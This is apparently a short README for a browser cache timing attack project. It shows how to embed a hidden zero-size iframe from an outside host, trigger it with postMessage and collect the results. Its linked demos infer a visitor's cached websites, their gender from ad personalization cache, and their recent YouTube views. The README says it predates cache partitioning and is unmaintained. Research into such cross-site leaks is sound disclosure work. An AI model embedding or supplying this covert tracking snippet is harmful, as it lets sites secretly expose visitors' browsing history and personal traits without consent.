This done before cache partitioning was added to chrome.
No longer maintained.
A Timing attack on the browser to try to predict websites that have cached.
Mobile devices may not work correctly.
https://github.com/xsleaks/wiki
Add: <iframe id="cacheattack" src="https://ndevtk.github.io/CacheAttack/embed.html" style="width:0;height:0;border:0; border:none;"></iframe>
Usage: cacheattack.contentWindow.postMessage(null, 'https://ndevtk.github.io/CacheAttack/embed.html'); // An array can be used instead of null for custom urls
Callback: onmessage = e => console.log(e.data)
https://ndevtk.github.io/CacheAttack/ (Detects cached websites)
https://ndevtk.github.io/CacheAttack/Gender (Detects your Gender via Google Ad personalization cache)
https://ndevtk.github.io/CacheAttack/youtube (Detects your last viewed YouTube videos)